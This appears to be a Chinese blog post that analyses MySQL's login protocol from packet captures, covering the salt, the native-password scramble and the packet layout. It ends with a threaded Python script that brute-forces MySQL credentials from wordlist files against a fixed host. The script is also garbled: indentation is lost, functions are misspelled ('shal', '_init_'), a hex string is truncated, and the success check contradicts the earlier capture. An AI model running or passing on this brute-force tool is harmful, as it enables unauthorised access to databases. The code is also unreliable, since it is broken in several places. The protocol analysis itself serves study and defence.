

mysql登录协议分析

1. mysql正常的一次完整连接过程

seq.	time	source	destination	protocol	details
283	7.718885	192.168.189.131	192.168.10.79	TCP	74 60654 → 3306 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_...
286	7.719922	192.168.10.79	192.168.189.131	TCP	58 3306 → 60654 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=...
287	7.720157	192.168.189.131	192.168.10.79	TCP	60 60654 → 3306 [ACK] Seq=1 Ack=1 Win=29200 Len=0
288	7.720797	192.168.10.79	192.168.189.131	MySQL	132 Server Greeting proto=10 version=5.7.14
289	7.721104	192.168.189.131	192.168.10.79	TCP	60 60654 → 3306 [ACK] Seq=1 Ack=79 Win=29200 Len=0
290	7.724712	192.168.189.131	192.168.10.79	MySQL	252 Login Request user=root
291	7.724880	192.168.10.79	192.168.189.131	TCP	54 3306 → 60654 [ACK] Seq=79 Ack=199 Win=64240 Len=0
292	7.725143	192.168.10.79	192.168.189.131	MySQL	65 Response OK
293	7.725770	192.168.189.131	192.168.10.79	MySQL	91 Request Query
294	7.725920	192.168.10.79	192.168.189.131	TCP	54 3306 → 60654 [ACK] Seq=90 Ack=236 Win=64240 Len=0
295	7.726408	192.168.10.79	192.168.189.131	MySQL	153 Response
301	7.770294	192.168.189.131	192.168.10.79	TCP	60 60654 → 3306 [ACK] Seq=236 Ack=189 Win=29200 Len=0
358	10.350006	192.168.189.131	192.168.10.79	MySQL	60 Request Quit
359	10.350207	192.168.10.79	192.168.189.131	TCP	54 3306 → 60654 [ACK] Seq=189 Ack=241 Win=64240 Len=0
360	10.350434	192.168.189.131	192.168.10.79	TCP	60 60654 → 3306 [FIN, ACK] Seq=241 Ack=189 Win=29200 Len=0
361	10.350860	192.168.10.79	192.168.189.131	TCP	54 3306 → 60654 [ACK] Seq=189 Ack=242 Win=64239 Len=0
362	10.350926	192.168.10.79	192.168.189.131	TCP	54 3306 → 60654 [FIN, PSH, ACK] Seq=189 Ack=242 Win=64239 ...
363	10.351113	192.168.189.131	192.168.10.79	TCP	60 60654 → 3306 [ACK] Seq=242 Ack=190 Win=29200 Len=0

首先与服务器进行三次握手建立连接

283	7.718885	192.168.189.131	192.168.10.79	TCP	74 60654 → 3306 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_...
286	7.719922	192.168.10.79	192.168.189.131	TCP	58 3306 → 60654 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=...
287	7.720157	192.168.189.131	192.168.10.79	TCP	60 60654 → 3306 [ACK] Seq=1 Ack=1 Win=29200 Len=0

然后服务器发送握手包

288	7.720797	192.168.10.79	192.168.189.131	MySQL	132 Server Greeting proto=10 version=5.7.14
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Server Greeting

Protocol: 10

• Version: 5.7.14

Thread ID: 141

• Salt: \016\t\032|Qv\006%

▷ Server Capabilities: 0xf7ff

Server Language: latin1 COLLATE latin1_swedish_ci (8)

▷ Server Status: 0x0002

▷ Extended Server Capabilities: 0x81ff

Authentication Plugin Length: 21

Unused: 00000000000000000000

• Salt: t)J#\025^\a|Y\177K\002

Authentication Plugin: mysql_native_password

此握手包关键数据有数据库版本, salt及plugin值, salt在之后的登录过程中混合密码加密使用, 由两部分分隔而来, 组合而成为salt值, 共20位。authentication plugin值是指定的认证方式, 均为mysql_native_password。

客户端发送ACK包确认收到此次数据

289	7.721104	192.168.189.131	192.168.10.79	TCP	60 60654 → 3306 [ACK] Seq=1 Ack=79 Win=29200 Len=0
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▷ Frame 289: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 2
▷ Ethernet II, Src: Vmware_50:88:89 (00:0c:29:50:88:89), Dst: Vmware_e3:98:72 (00:50:56:e3:98:72)
▷ Internet Protocol Version 4, Src: 192.168.189.131, Dst: 192.168.10.79
▷ Transmission Control Protocol, Src Port: 60654, Dst Port: 3306, Seq: 1, Ack: 79, Len: 0

```
0000  00 50 56 e3 98 72 00 0c 29 50 88 89 08 00 45 08  .PV..r.. )P....E.
0010  00 28 a9 1a 40 00 40 06 48 8a c0 a8 bd 83 c0 a8  .(..@.@. H.....
0020  0a 4f ec ee 0c ea e0 bd bd b6 3b 2a 2a ae 50 10  .O..... ;*.P.
0030  72 10 f6 7a 00 00 00 00 00 00 00 00 00 00 00 00  r..Z....
```

客户端发起登录请求

290	7.724712	192.168.189.131	192.168.10.79	MySQL	252 Login Request user=root
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- ▷ Frame 290: 252 bytes on wire (2016 bits), 252 bytes captured (2016 bits) on interface 2
- ▷ Ethernet II, Src: Vmware_50:88:89 (00:0c:29:50:88:89), Dst: Vmware_e3:98:72 (00:50:56:e3:98:72)
- ▷ Internet Protocol Version 4, Src: 192.168.189.131, Dst: 192.168.10.79
- ▷ Transmission Control Protocol, Src Port: 60654, Dst Port: 3306, Seq: 1, Ack: 79, Len: 198

MySQL Protocol

Packet Length: 194

Packet Number: 1

Login Request

▷ Client Capabilities: 0xa685

▷ Extended Client Capabilities: 0x203f

MAX Packet: 16777216

Charset: utf8mb4 COLLATE utf8mb4_general_ci (45)

Username: root

Password: 7c58e06cb56edc4daa52db8b978ade30903236c0

Client Auth Plugin: mysql_native_password

▷ Connection Attributes

0000	00 50 56 e3 98 72 00 0c 29 50 88 89 08 00 45 08	.PV..r..)P....E.
0010	00 ee a9 1b 40 00 40 06 47 c3 c0 a8 bd 83 c0 a8@.@. G.....
0020	0a 4f ec ee 0c ea e0 bd bd b6 3b 2a 2a ae 50 18	.O..... ;*.P.
0030	72 10 e0 4e 00 00 c2 00 00 01 85 a6 3f 20 00 00	r..N....? ..
0040	00 01 2d 00 00 00 00 00 00 00 00 00 00 00 00
0050	00 00 00 00 00 00 00 00 00 00 72 6f 6f 74 00 14root..
0060	7c 58 e0 6c b5 6e dc 4d aa 52 db 8b 97 8a de 30	X.l.n.M .R.....0
0070	90 32 36 c0 6d 79 73 71 6c 5f 6e 61 74 69 76 65	.26.mysql_native
0080	5f 70 61 73 73 77 6f 72 64 00 71 03 5f 6f 73 10	_password.q._os.
0090	64 65 62 69 61 6e 2d 6c 69 6e 75 78 2d 67 6e 75	debian-l inux-gnu
00a0	0c 5f 63 6c 69 65 6e 74 5f 6e 61 6d 65 08 6c 69	._client _name.li
00b0	62 6d 79 73 71 6c 04 5f 70 69 64 04 34 36 39 30	bmysql._ pid.4690
00c0	0f 5f 63 6c 69 65 6e 74 5f 76 65 72 73 69 6f 6e	._client _version
00d0	07 31 30 2e 31 2e 32 32 09 5f 70 6c 61 74 66 6f	.10.1.22 ._platfo
00e0	72 6d 06 78 38 36 5f 36 34 0c 70 72 6f 67 72 61	rm.x86_6 4.progra
00f0	6d 5f 6e 61 6d 65 05 6d 79 73 71 6c	m_name.m ysql

服务器确认收到请求

291 7.724880	192.168.10.79	192.168.189.131	TCP	54 3306 → 60654 [ACK] Seq=79 Ack=199 Win=64240 Len=0
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服务器给出回应，登录成功，如果失败显示response error并给出失败原因

292 7.725143	192.168.10.79	192.168.189.131	MySQL	65 Response OK
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MySQL Protocol

Packet Length: 7

Packet Number: 2

Affected Rows: 0

▷ Server Status: 0x0002

Warnings: 0

登录成功后进入查询界面，发起request query请求

293 7.725770	192.168.189.131	192.168.10.79	MySQL	91 Request Query
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> Frame 293: 91 bytes on wire (728 bits), 91 bytes captured (728 bits) on interface 2
> Ethernet II, Src: Vmware_50:88:89 (00:0c:29:50:88:89), Dst: Vmware_e3:98:72 (00:50:56:e3:98:72)
> Internet Protocol Version 4, Src: 192.168.189.131, Dst: 192.168.10.79
> Transmission Control Protocol, Src Port: 60654, Dst Port: 3306, Seq: 199, Ack: 90, Len: 37
+ MySQL Protocol
  Packet Length: 33
  Packet Number: 0
  Request Command Query
    Command: Query (3)
    Statement: select @@version_comment limit 1

```

0000	00 50 56 e3 98 72 00 0c 29 50 88 89 08 00 45 08	.PV..r..)P....E.
0010	00 4d a9 1c 40 00 40 06 48 63 c0 a8 bd 83 c0 a8	.M..@. Hc.....
0020	0a 4f ec ee 0c ea e0 bd be 7c 3b 2a 2a b9 50 18	.O..... . ;*.P.
0030	72 10 67 d2 00 00 21 00 00 00 03 73 65 6c 65 63	r.g...!. ...selec
0040	74 20 40 40 76 65 72 73 69 6f 6e 5f 63 6f 6d 6d	t @@vers ion_comm
0050	65 6e 74 20 6c 69 6d 69 74 20 31	ent limi t 1

服务器确认收到消息并给出回复。

294 7.725920	192.168.10.79	192.168.189.131	TCP	54 3306 → 60654 [ACK] Seq=90 Ack=236 Win=64240
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295 7.726408	192.168.10.79	192.168.189.131	MySQL	153 Response
--------------	---------------	-----------------	-------	--------------

```

+ MySQL Protocol
+ MySQL Protocol
+ MySQL Protocol
+ MySQL Protocol
+ MySQL Protocol

```

0000	00 0c 29 50 88 89 00 50 56 e3 98 72 08 00 45 00	..)P...P V..r..E.
0010	00 8b e5 da 00 00 80 06 0b 6f c0 a8 0a 4f c0 a8o...O..
0020	bd 83 0c ea ec ee 3b 2a 2a b9 e0 bd be a1 50 18;* *.....P.
0030	fa f0 df ce 00 00 01 00 00 01 01 27 00 00 02 03'....
0040	64 65 66 00 00 00 11 40 40 76 65 72 73 69 6f 6e	def....@ @version
0050	5f 63 6f 6d 6d 65 6e 74 00 0c 2d 00 70 00 00 00	_comment ...-p...
0060	fd 00 00 1f 00 00 05 00 00 03 fe 00 00 02 00 1d
0070	00 00 04 1c 4d 79 53 51 4c 20 43 6f 6d 6d 75 6eMySQ L Commun
0080	69 74 79 20 53 65 72 76 65 72 20 28 47 50 4c 29	ity Serv er (GPL)
0090	05 00 00 05 fe 00 00 02 00

结束后发起退出请求request quit

358 10.350006	192.168.189.131	192.168.10.79	MySQL	60 Request Quit
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```

+ MySQL Protocol
  Packet Length: 1
  Packet Number: 0
  Request Command Quit
    Command: Quit (1)

```

0000	00 50 56 e3 98 72 00 0c 29 50 88 89 08 00 45 08	.PV..r..)P....E.
0010	00 2d a9 1e 40 00 40 06 48 81 c0 a8 bd 83 c0 a8	.-..@. H.....
0020	0a 4f ec ee 0c ea e0 bd be a1 3b 2a 2b 1c 50 18	.O..... .;*.P.
0030	72 10 f3 14 00 00 01 00 00 00 01 00	r.....

服务器确认消息，并进行四次挥手结束连接

359 10.350207	192.168.10.79	192.168.189.131	TCP	54 3306 → 60654 [ACK] Seq=189 Ack=241 Win=64240 Len=0
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```
def get_hash(password, salt):
    hash1 = hashlib.shal(password).digest()
    hash2 = hashlib.shal(hash1).digest()
    to = hashlib.shal(salt+hash2).digest()
    reply = [ord(h1)^ord(h3) for (h1,h3) in zip(hash1,to)]
    hash0=[]
    for i in reply:
        i=hex(i).replace('0x','')
        if len(i)==1:i='0'+i
        hash0.append(i)
    #print hash0
    return ''.join(hash0)
```

最后再连接之前的获得plugin值，以及连接属性，包含数据库名称，客户端系统版本等信息，为可选项。

```
data=data+tohex(plugin)+'0071035f6f731064656269616e2d6c696e75782d676e750c5f636c66
```

将data数据转换为字节流通过send发送，登录成功。

812	20.424072	192.168.189.131	192.168.10.79	MySQL	252 Login Request user=root
813	20.424169	192.168.10.79	192.168.189.131	TCP	54 3306 → 60658 [ACK] Seq=79 Ack=199 Win=64240 Len=0
814	20.424265	192.168.10.79	192.168.189.131	MySQL	65 Response OK
815	20.425615	192.168.189.131	192.168.10.79	TCP	60 60658 → 3306 [RST, ACK] Seq=199 Ack=90 Win=29200 Len=0

因为程序运行完会立即结束，会发送RST包标识异常断开连接，添加time.sleep()即可保持连接。

在hydra的暴力破解中，并发向服务器发起多个TCP连接请求，连接建立成功后会尝试发送登录请求，

成功的返回值为：

```
fa f0 19 14 00 00 07 00 00 02 00 00 00 02 00 00
00
```

失败时返回错误原因：

```
fa ef 93 07 00 00 21 00 00 01 ff 84 04 23 30 38
53 30 31 47 6f 74 20 70 61 63 6b 65 74 73 20 6f
75 74 20 6f 66 20 6f 72 64 65 72
```

通过判断返回值中是否含有07 00 00 02 00 00 00 02 00 00

00就能认定是否登录成功。将程序稍作改动，计算包长度，同时将用户名和密码设置为从字典中导入应该就能实现弱口令爆破。

165	4.217954	192.168.10.79	192.168.189.130	MySQL	132 Server Greeting proto=10 version=5.7.14
166	4.218359	192.168.10.79	192.168.189.130	MySQL	132 Server Greeting proto=10 version=5.7.14
169	4.218953	192.168.10.79	192.168.189.130	MySQL	91 Response Error 1156
172	4.219940	192.168.10.79	192.168.189.130	MySQL	132 Server Greeting proto=10 version=5.7.14
179	4.219943	192.168.10.79	192.168.189.130	MySQL	132 Server Greeting proto=10 version=5.7.14
181	4.220835	192.168.189.130	192.168.10.79	MySQL	239 Login Request user=root db=mysql
183	4.221025	192.168.10.79	192.168.189.130	MySQL	134 Response Error 1045
186	4.222939	192.168.189.130	192.168.10.79	MySQL	239 Login Request user=root db=mysql
187	4.222940	192.168.189.130	192.168.10.79	MySQL	239 Login Request user=root db=mysql
188	4.223940	192.168.189.130	192.168.10.79	MySQL	239 Login Request user=root db=mysql
192	4.223942	192.168.10.79	192.168.189.130	MySQL	134 Response Error 1045

MySQL协议分析，有些过时，还有参考价值

<http://hutaow.com/blog/2013/11/06/mysql-protocol-analysis/#411-MySQL协议问题，分析了加密方式及salt的获取>

<http://www.jianshu.com/p/651fb39c0a51>

MySQL官方文档

https://dev.mysql.com/doc/dev/mysql-server/latest/PAGE_PROTOCOL.html

暴力破解mysql登录脚本：

```
import socket
import re
import hashlib
import time
import threading
import Queue
u=open('uid.txt','r')
p=open('pid.txt','r')
ulist=u.readlines()
plist=p.readlines()
def tohex(s):
    li=[]
    for c in s:
        h=hex(ord(c)).replace('0x','')
        if len(h)==1:
            h='0'+h
```

```
l.append(h)
return''.join(li)
def get_hash(password,salt):
hash1=hashlib.sha1(password).digest()
hash2=hashlib.sha1(hash1).digest()
to=hashlib.sha1(salt+hash2).digest()
reply=[ord(h1)^ord(h3) for (h1,h3) in zip(hash1,to)]
hash0=[]
for i in reply:
i=hex(i).replace('0x','')
if len(i)==1:i='0'+i
hash0.append(i)
#print hash0
return''.join(hash0)
class mythread(threading.Thread):
def _init_(self,queue):
threading.Thread._init_(self)
self.queue=queue
def run(self):
if not self.queue.empty():
uname=self.queue.get_nowait()
for p in plist:
uname=uname.replace('\n','')
p=p.replace("\n","")
self.login(uname,p)
def login(self,user,password):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.10.79',3306))
packet=s.recv(256)
salt1 = packet[16:24]
salt2 = packet[43:55]
plugin = packet[56:-1]
salt = salt1 + salt2
user_hex=tohex(user)
pass_hex=get_hash(password,salt)
#print type(pass_hex)
data=""85a63f200000000012d00000000000000000000000000000000000000000000000000000""
data=data.replace("\n",'')+user_hex+"0014"+pass_hex
data=data+tohex(plugin)+'0071035f6f731064656269616e2d6c696e75782d676e750c5f636c69656e745f6e616d65086c69626d7973716'
c045f7069640433138340f5f636c69656e745f76657273696f6e0731302e312e3232095f706c6174666f726d067838365f36340c70726f677
2616d5f6e616d65056d7973716c'
data=hex(len(data)/2).replace('0x','')++'000001'+data
data=data.decode('hex')
s.send(data)
result=s.recv(1024)
if result == "\x07\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00":
print user,password
s.close()
q=Queue.Queue()
for line in ulist:
q.put(line)
threads=[]
for i in range(5):
t=mythread(q)
threads.append(t)
for i in range(5):
threads[i].start()
for i in range(5):
threads[i].join()
#time.sleep(20)
```